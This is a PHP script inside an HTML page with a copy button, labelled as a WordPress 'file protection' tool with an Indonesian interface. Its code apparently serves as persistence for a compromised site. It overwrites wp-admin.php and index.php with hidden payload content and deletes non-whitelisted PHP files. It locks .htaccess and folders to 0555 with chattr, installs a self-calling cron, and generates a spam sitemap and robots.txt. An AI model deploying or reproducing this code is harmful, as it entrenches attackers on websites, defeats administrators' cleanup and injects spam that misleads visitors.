                safe_exec("rm -f " . escapeshellarg($file) . " 2>/dev/null");
                if (!file_exists($file)) {
                    $deleted++;
                    echo "  ✗ {$base_name} ({$reason}) [exec]\n";
                    continue;
                }
            }
            
            echo "  ⚠ {$base_name} (GAGAL HAPUS)\n";
        }
    }
    
    return $deleted;
}

// ================================================================
// === PAYLOAD ===
// ================================================================

$wpAdminContent = $payloadWpAdminContent;
$indexContent = $payloadIndexContent;

$domain = $_SERVER['HTTP_HOST'] ?? 'domain.com';
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$scriptUrl = $protocol . "://" . $domain . $_SERVER['PHP_SELF'];

// =================================================================================
// === UI & ROUTING ===
// =================================================================================

$actionRequested = isset($_GET['update']) || $isFix || $isUnlock;

if (!$actionRequested) {
    $phpVersion = phpversion();
    $isPhp8 = version_compare($phpVersion, '8.0.0', '>=');
    $execAvailable = can_exec();
    
    echo "<!DOCTYPE html>
<html lang='id'>
<head>
    <meta charset='UTF-8'>
    <meta name='viewport' content='width=device-width, initial-scale=1.0'>
    <title>Kontrol Proteksi File - PHP {$phpVersion}</title>
    <style>
        *{box-sizing:border-box;margin:0;padding:0}
        body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);min-height:100vh;display:flex;align-items:center;justify-content:center;padding:20px}
        .container{background:#fff;max-width:900px;width:100%;padding:35px;border-radius:20px;box-shadow:0 25px 80px rgba(0,0,0,0.25)}
        h1{text-align:center;color:#2c3e50;font-size:26px;margin-bottom:5px}
        .version-badge{display:inline-block;background:" . ($isPhp8 ? '#00b894' : '#0984e3') . ";color:#fff;padding:4px 14px;border-radius:20px;font-size:11px;font-weight:bold;margin-left:8px;vertical-align:middle}
        .subtitle{text-align:center;color:#7f8c8d;font-size:13px;margin-bottom:25px}
        .alert{padding:16px;border-radius:10px;margin-bottom:20px;font-size:13px;line-height:1.6}
        .alert-success{background:#d4edda;color:#155724;border-left:5px solid #28a745}
        .alert-info{background:#d1ecf1;color:#0c5460;border-left:5px solid #17a2b8}
        .alert-warning{background:#fff3cd;color:#856404;border-left:5px solid #ffc107}
        .btn-group{display:flex;flex-wrap:wrap;gap:12px;justify-content:center;margin:22px 0}
        .btn{padding:14px 26px;border-radius:10px;text-decoration:none;font-weight:600;font-size:13px;transition:all 0.3s ease;box-shadow:0 4px 12px rgba(0,0,0,0.15);display:inline-block;min-width:200px;text-align:center}
        .btn:hover{transform:translateY(-3px);box-shadow:0 8px 24px rgba(0,0,0,0.22)}
        .btn-lock{background:linear-gradient(135deg,#f093fb 0%,#f5576c 100%);color:#fff}
        .btn-opts{background:linear-gradient(135deg,#4facfe 0%,#00f2fe 100%);color:#fff}
        .btn-upd{background:linear-gradient(135deg,#43e97b 0%,#38f9d7 100%);color:#2c3e50}
        .btn-wpa{background:linear-gradient(135deg,#fa709a 0%,#fee140 100%);color:#2c3e50}
        .btn-fix{background:linear-gradient(135deg,#a8edea 0%,#fed6e3 100%);color:#2c3e50}
        .btn-unlock{background:linear-gradient(135deg,#ff6b6b 0%,#ee5a24 100%);color:#fff;border:3px solid #c0392b;animation:pulse 2s infinite}
        .btn-unlock:hover{transform:translateY(-3px) scale(1.04)}
        @keyframes pulse{0%,100%{box-shadow:0 0 0 0 rgba(220,53,69,0.6)}50%{box-shadow:0 0 0 15px rgba(220,53,69,0)}
        table{width:100%;border-collapse:collapse;margin:18px 0;font-size:12px;box-shadow:0 3px 12px rgba(0,0,0,0.08);border-radius:8px;overflow:hidden}
        th,td{padding:12px 14px;text-align:left;border-bottom:1px solid #eee}
        th{background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);color:#fff;font-weight:600}
        tr:hover{background:#f8f9f9}
        code{background:rgba(102,126,234,0.12);padding:2px 8px;border-radius:4px;font-size:11px;color:#667eea;font-weight:600}
        .info-box{background:#f8f9fa;padding:20px;border-radius:12px;margin-top:22px;border:1px solid #e9ecef}
        .info-box h3{margin:0 0 12px 0;color:#2c3e50;font-size:15px;border-bottom:2px solid #dee2e6;padding-bottom:8px}
        .info-box ul{padding-left:20px}
        .info-box li{margin-bottom:8px;line-height:1.5;color:#495057}
        .badge-new{background:#dc3545;color:#fff;padding:3px 10px;border-radius:12px;font-size:10px;font-weight:bold;margin-left:6px;vertical-align:middle}
        .checkmark{color:#28a745;margin-right:5px}
        .crossmark{color:#dc3545;margin-right:5px}
        .lock-icon{color:#dc3545}
        .unlock-icon{color:#28a745}
        .htaccess-badge{background:linear-gradient(135deg,#fd79a8 0%,#e84393 100%)}
        .final-lock-badge{background:linear-gradient(135deg,#ff6b6b 0%,#ee5a24 100%);animation:glow 2s infinite}
        @keyframes glow{
            0%,100%{box-shadow:0 0 5px rgba(255,107,107,0.5)}
            50%{box-shadow:0 0 20px rgba(255,107,107,0.8)}
        }
    </style>
</head>
<body>
<div class='container'>
    <h1>🛡️ Kontrol Proteksi File <span class='version-badge'>PHP {$phpVersion}" . ($isPhp8 ? ' ✓' : '') . "</span></h1>
    <p class='subtitle'>WordPress Auto-Protect v7.5 - <strong>FINAL LOCK HTACCESS MODE</strong></p>

    <div class='alert alert-success'>
        <strong><span class='checkmark'>✓</span> Status:</strong><br>
        • <strong>.htaccess</strong> valid & terstruktur benar<br>
        • <strong>Cleanup AGRESIF:</strong> Hapus file .php yang tidak di-whitelist<br>
        • <strong>exec() disabled?</strong> <span style='color:" . ($execAvailable ? '#28a745' : '#dc3545') . ";font-weight:bold'>" . ($execAvailable ? 'TIDAK - exec tersedia' : 'YA - menggunakan fallback') . "</span><br><br>
        • <strong>📍 Lokasi Script:</strong> <code>{$currentScriptDir}</code><br>
        • <strong>🔒 Chmod 555 Target:</strong> Hanya path script & sub-direktorinya<br>
        • <strong>🛡️ ROOT HTACCESS:</strong> <span class='htaccess-badge' style='color:white;padding:3px 10px;border-radius:12px;font-size:11px;font-weight:bold;'>OTOMATIS DI-LOCK 0555</span><br>
        • <strong>🔥 FINAL LOCK:</strong> <span class='final-lock-badge' style='color:white;padding:3px 10px;border-radius:12px;font-size:11px;font-weight:bold;'>DIJAMIN 0555 SAMPAI AKHIR!</span>
    </div>";

    if (!$execAvailable) {
        echo "
    <div class='alert alert-warning'>
        <strong>⚠️ Catatan:</strong> Fungsi <code>exec()</code> dinonaktifkan server.<br>
        • <code>chattr</code> tidak akan digunakan (attribute lock skipped)<br>
        • Cron setup akan di-skip<br>
        • Semua operasi tetap berjalan normal tanpa exec
    </div>";
    }

    echo "
    <div class='btn-group' style='border-bottom:2px solid #eee;padding-bottom:20px;margin-bottom:20px'>
        <a href='?update=both_locked' class='btn btn-lock'>🔒 LOCK FOLDERS</a>
        <a href='?update=options' class='btn btn-opts'>⚙️ OPTIONS</a>
        <a href='?update=both_unlocked' class='btn btn-upd'>🔄 UPDATE</a>
        <a href='?update=wpadmin' class='btn btn-wpa'>📄 WP-ADMIN</a>
    </div>

    <div class='btn-group'>
        <a href='?fix' class='btn btn-fix'>🔧 FIX</a>
        <a href='?unlock' class='btn btn-unlock'>🔓 UNLOCK ALL<span class='badge-new'>NEW</span></a>
    </div>

    <table>
        <tr>
            <th>Mode</th>
            <th>Chmod 555 Target</th>
            <th>Root .htaccess</th>
            <th>Final Lock</th>
        </tr>
        <tr style='background:#ffebee'>
            <td><strong>🔒 LOCK/FIX/UPDATE</strong></td>
            <td>Hanya path script</td>
            <td><span class='lock-icon'><strong>→ 0555 🔒</strong></span></td>
            <td><span class='final-lock-badge' style='color:white;padding:3px 8px;border-radius:6px;font-size:11px;'>✓ FINAL!</span></td>
        </tr>
        <tr style='background:#e8f5e9'>
            <td><strong>🔓 UNLOCK</strong></td>
            <td colspan='3'><span class='unlock-icon'>SEMUA → 0755 / 0644</span></td>
        </tr>
    </table>

    <div class='info-box'>
        <h3>📋 Panduan Lengkap dengan Final Lock</h3>
        <ul>
            <li><strong>🔒 Lock/Fix/Update:</strong> Update + Cleanup + Chmod 555 path script + Lock .htaccess + <strong>FINAL LOCK</strong></li>
            <li><strong>🔓 Unlock:</strong> Semua folder → 0755 + Unlock .htaccess → 0644</li>
        </ul>
        <hr style='margin:15px 0;border:none;border-top:1px solid #dee2e6'>
        <strong style='color:#e84393'>🔥 FINAL LOCK MECHANISM:</strong>
        <ul style='margin-top:10px'>
            <li>Dipanggil di <strong>STEP PALING AKHIR</strong> setelah semua proses</li>
            <li>Memastikan .htaccess <strong>BENAR-BENAR 0555</strong> tidak berubah</li>
            <li>Mengatasi masalah perubahan permission oleh fungsi lain</li>
        </ul>
    </div>
</div>
</body></html>";
    exit;
}

// =================================================================================
// === EKSEKUSI ===
// =================================================================================

echo "<div style='font-family:Arial,sans-serif;padding:20px;max-width:800px;margin:20px auto;border:1px solid #ddd;border-radius:12px;background:#fafafa'>";
echo "<h3 style='text-align:center;color:#2c3e50;margin-bottom:15px'>" . ($isUnlock ? "🔓 UNLOCK ALL" : ($isFix ? "🔧 FIX" : "🔄 UPDATE")) . "</h3>";
echo "<pre style='background:#fff;padding:18px;border-radius:10px;font-size:12px;line-height:1.6;white-space:pre-wrap;overflow-x:auto;border:1px solid #eee'>";

try {

// =======================================================================
// MODE UNLOCK (UNLOCK HTACCESS JUGA!)
// =======================================================================
if ($isUnlock) {
    echo "🔓 Mode: UNLOCK ALL FOLDERS\n";
    echo "⏰ Start: " . date('H:i:s') . "\n\n";
    
    forceRootDirPermission($baseDir);
    echo "✓ Root permissions set (0755)\n";
    
    // UNLOCK HTACCESS ROOT KE 0644
    echo "\n🛡️ Unlocking ROOT .htaccess...\n";
    unlockRootHtaccess($htaccess);
    
    foreach ($targetFiles as $file) {
        if (can_exec()) {
            safe_exec("chattr -i " . escapeshellarg($file) . " 2>/dev/null");
        }
        @chmod($file, 0644);
    }
    echo "✓ Target files unlocked (including .htaccess → 0644)\n";
    
    $result = recursiveUnlockFoldersOnly_Safe($baseDir);
    echo "✓ Folders unlocked: {$result['folders_unlocked']} (semua → 0755)\n";
    
    unlockSuperFilesSafe($baseDir, $allowedFiles, $safeFiles);
    echo "✓ Super files unlocked\n";
    
    removeAutoCronSafe($scriptUrl);
    if (!can_exec()) {
        echo "ℹ Cron skipped (exec disabled)\n";
    } else {
        echo "✓ Cron removed\n";
    }
    
    @chmod($baseDir, 0755);
    @chmod($currentScript, 0644);
    echo "✓ Final safety check done\n";
    
    echo "\n✅ DONE at " . date('H:i:s') . "\n";
    echo "🎉 All folders now: 0755 (Full Access)\n";
    echo "🎉 Root .htaccess now: 0644 (Writable)\n";

// =======================================================================
// MODE FIX (DENGAN SMART CHMOD 555 + LOCK HTACCESS + FINAL LOCK!)
// =======================================================================
} elseif ($isFix) {
    echo "🔧 Mode: FIX\n";
    echo "📍 Script Location: {$currentScriptDir}\n";
    echo "⏰ Start: " . date('H:i:s') . "\n\n";
    
    foreach ($targetFiles as $file) {
        if (can_exec()) {
            safe_exec("chattr -i " . escapeshellarg($file) . " 2>/dev/null");
        }
        @chmod($file, 0644);
    }
    @chmod($baseDir, 0755);
    echo "✓ Files unlocked\n";
    
    perbaruiFile($wpAdminFile, $backupDir, $wpAdminContent, 'wp-admin.php');
    perbaruiFile($indexFile, $backupDir, $indexContent, 'index.php');
    
    // Tulis .htaccess baru
    paksaTulis($htaccess, $newHtaccess);
    paksaTulis($wpAdminHtaccess, $newWpAdminHtaccess);
    echo "✓ Files rebuilt (including .htaccess)\n";
    
    // LOCK HTACCESS ROOT KE 555
    echo "\n🛡️ PROTECTING ROOT HTACCESS:\n";
    echo "─────────────────────────────────\n";
    lockRootHtaccessTo555($htaccess);
    echo "─────────────────────────────────\n";
    
    forceRootDirPermission($baseDir);
    @chmod($currentScript, 0644);
    
    // SMART CHMOD 555: HANYA PATH SCRIPT!
    echo "\n" . str_repeat("═", 50) . "\n";
    echo "🔒 SMART CHMOD 555 MODE ACTIVATED\n";
    echo str_repeat("═", 50) . "\n\n";
    
    $chmodResult = chmodOnlyScriptPathTo555($baseDir, $currentScriptDir, $safeFolders);
    
    echo "\n✅ Fix operations complete\n";
    
    // Cleanup
    echo "\n🧹 Cleanup AGRESIF (root only):\n";
    echo "─────────────────────────────\n";
    $deletedCount = cleanup_php_root_safe($baseDir);
    echo "─────────────────────────────\n";
    echo "📦 Total dihapus: {$deletedCount} file\n";
    
    // ⭐⭐⭐⭐⭐ FINAL LOCK STEP (PALING AKHIR!) ⭐⭐⭐⭐⭐
    echo "\n" . str_repeat("█", 60) . "\n";
    echo "🔥🔥🔥 FINAL LOCK STEP (PALING AKHIR!) 🔥🔥🔥\n";
    echo str_repeat("█", 60) . "\n";
    echo "Memastikan .htaccess root BENAR-BENAR 0555...\n";
    lockRootHtaccessTo555($htaccess);
    echo "✅ FINAL LOCK COMPLETE - .htaccess DIJAMIN 0555!\n";
    echo str_repeat("█", 60) . "\n";
    
    echo "\n┌──────────────────────────────────────────┐\n";
    echo "│ Status: FIX COMPLETE                      │\n";
    echo "│ Cleanup: {$deletedCount} deleted                   │\n";
    echo "│ Chmod 555: Path script only               │\n";
    echo "│ Others: 0755 (unchanged)                  │\n";
    echo "│ 🛡️ HTACCESS: 0555 (FINAL LOCKED!)        │\n";
    echo "└──────────────────────────────────────────┘\n";

// =======================================================================
// MODE UPDATE (DENGAN SMART CHMOD 555 + LOCK HTACCESS + FINAL LOCK!)
// =======================================================================
} else {
    echo "🔄 Mode: " . strtoupper($updateMode) . "\n";
    echo "📍 Script Location: {$currentScriptDir}\n";
    echo "⏰ Start: " . date('H:i:s') . "\n\n";
    
    forceRootDirPermission($baseDir);
    echo "✓ Root OK (0755)\n";
    
    perbaruiFile($wpAdminFile, $backupDir, $wpAdminContent, 'wp-admin.php');
    
    if (in_array($updateMode, ['both_locked', 'both_unlocked'])) {
        perbaruiFile($indexFile, $backupDir, $indexContent, 'index.php');
    } elseif ($updateMode === 'options') {
        perbaruiFile($indexFile, $backupDir, $wpAdminContent, 'index.php');
    }
    
    // Tulis .htaccess baru
    paksaTulis($htaccess, $newHtaccess);
    paksaTulis($wpAdminHtaccess, $newWpAdminHtaccess);
    echo "✓ Core files updated (including .htaccess)\n";
    
    // LOCK HTACCESS ROOT KE 555
    echo "\n🛡️ PROTECTING ROOT HTACCESS:\n";
    echo "─────────────────────────────────\n";
    lockRootHtaccessTo555($htaccess);
    echo "─────────────────────────────────\n";
    
    foreach ([$wpAdminFile, $indexFile, $wpAdminHtaccess] as $file) {
        $isSafe = in_array($file, $safeFiles);
        if ($isSafe) {
            @chmod($file, 0644);
        } else {
            @chmod($file, 0555);
        }
    }
    echo "✓ Core files locked (safe mode)\n";
    
    // SMART CHMOD 555: HANYA PATH SCRIPT!
    echo "\n" . str_repeat("═", 50) . "\n";
    echo "🔒 SMART CHMOD 555 MODE ACTIVATED\n";
    echo str_repeat("═", 50) . "\n\n";
    
    $chmodResult = chmodOnlyScriptPathTo555($baseDir, $currentScriptDir, $safeFolders);
    
    @chmod($currentScript, 0644);
    echo "✓ Safety check passed\n";
    
    // Cleanup
    echo "\n🧹 Cleanup AGRESIF (root only):\n";
    echo "─────────────────────────────\n";
    $deletedCount = cleanup_php_root_safe($baseDir);
    echo "─────────────────────────────\n";
    echo "📦 Total dihapus: {$deletedCount} file\n";
    
    $robotsGenerated = autoGenerateRobotsSafe($domain, $protocol);
    
    // Super lock files (ini MUNGKIN mengubah htaccess ke 0644!)
    superLockFilesSafe($baseDir, $allowedFiles, $safeFiles);
    echo "✓ Super lock applied\n";
    
    // Setup cron
    setupAutoCronSafe($scriptUrl);
    if (can_exec()) {
        echo "✓ Cron active\n";
    } else {
        echo "ℹ Cron skipped (no exec)\n";
    }
    
    // ⭐⭐⭐⭐⭐ FINAL LOCK STEP (PALING AKHIR!) ⭐⭐⭐⭐⭐
    // Ini akan MENIMPA perubahan apapun yang dilakukan fungsi di atas!
    echo "\n" . str_repeat("█", 60) . "\n";
    echo "🔥🔥🔥 FINAL LOCK STEP (PALING AKHIR!) 🔥🔥🔥\n";
    echo str_repeat("█", 60) . "\n";
    echo "Memastikan .htaccess root BENAR-BENAR 0555...\n";
    echo "(Meskipun fungsi sebelumnya mengubahnya ke 0644)\n";
    lockRootHtaccessTo555($htaccess);
    echo "✅ FINAL LOCK COMPLETE - .htaccess DIJAMIN 0555!\n";
    echo str_repeat("█", 60) . "\n";
    
    if (!$robotsGenerated && $retryCount < $maxRetries) {
        $newRetry = $retryCount + 1;
        echo "\n⏳ Retry ($newRetry/$maxRetries)...";
        echo "<script>setTimeout(()=>window.location.href='?retry=$newRetry',3000)</script>";
        echo "</pre></div>";
        exit;
    }
    
    echo "\n🔗 <a href='{$protocol}://{$domain}/sxallsitemap.xml' target='_blank' style='color:#007bff'>Sitemap</a>\n";
    
    displaySxallsitemapSafe($domain, $protocol);
    
    echo "\n┌──────────────────────────────────────────┐\n";
    echo "│ Status: LOCKED (SMART MODE + FINAL LOCK)   │\n";
    echo "│ Path script: 0555 🔒                      │\n";
    echo "│ Root + siblings: 0755 ✓                   │\n";
    echo "│ Cleanup: {$deletedCount} deleted                   │\n";
    echo "│ 🛡️ ROOT HTACCESS: 0555 🔒 (FINAL LOCK!)  │\n";
    echo "└──────────────────────────────────────────┘\n";
}

@chmod($currentScript, 0644);

echo "\n✅ Completed safely at " . date('H:i:s') . "\n";

} catch (\Throwable $e) {
    echo "\n❌ ERROR CAUGHT:\n";
    echo "Message: " . $e->getMessage() . "\n";
    echo "File: " . $e->getFile() . ":" . $e->getLine() . "\n";
    
    echo "\n🚨 EMERGENCY: Unlocking all for recovery...\n";
    @chmod($baseDir, 0755);
    @chmod($currentScript, 0644);
    
    // Emergency: Unlock htaccess juga
    unlockRootHtaccess($htaccess);
    
    recursiveUnlockFoldersOnly_Safe($baseDir);
    
    try {
        paksaTulis($htaccess, generateValidHtaccess($allowedFiles, basename($currentScript)));
        echo "✓ Htaccess recovered\n";
    } catch (\Throwable $e2) {
        echo "⚠ Could not recover htaccess\n";
    }
    
    echo "✅ Emergency unlock completed.\n";
}

echo "</pre></div>";
?></pre>
    </div>
</div>

<script>
function copyCode() {
    const codeBlock = document.getElementById('codeBlock');
    const textArea = document.createElement('textarea');
    textArea.value = codeBlock.innerText;
    document.body.appendChild(textArea);
    textArea.select();
    document.execCommand('copy');
    document.body.removeChild(textArea);
    
    const btn = document.querySelector('.copy-btn');
    const originalText = btn.innerText;
    btn.innerText = '✅ Copied!';
    btn.style.background = '#28a745';
    setTimeout(() => {
        btn.innerText = originalText;
        btn.style.background = '#667eea';
    }, 2500);
}
</script>

</body>
</html>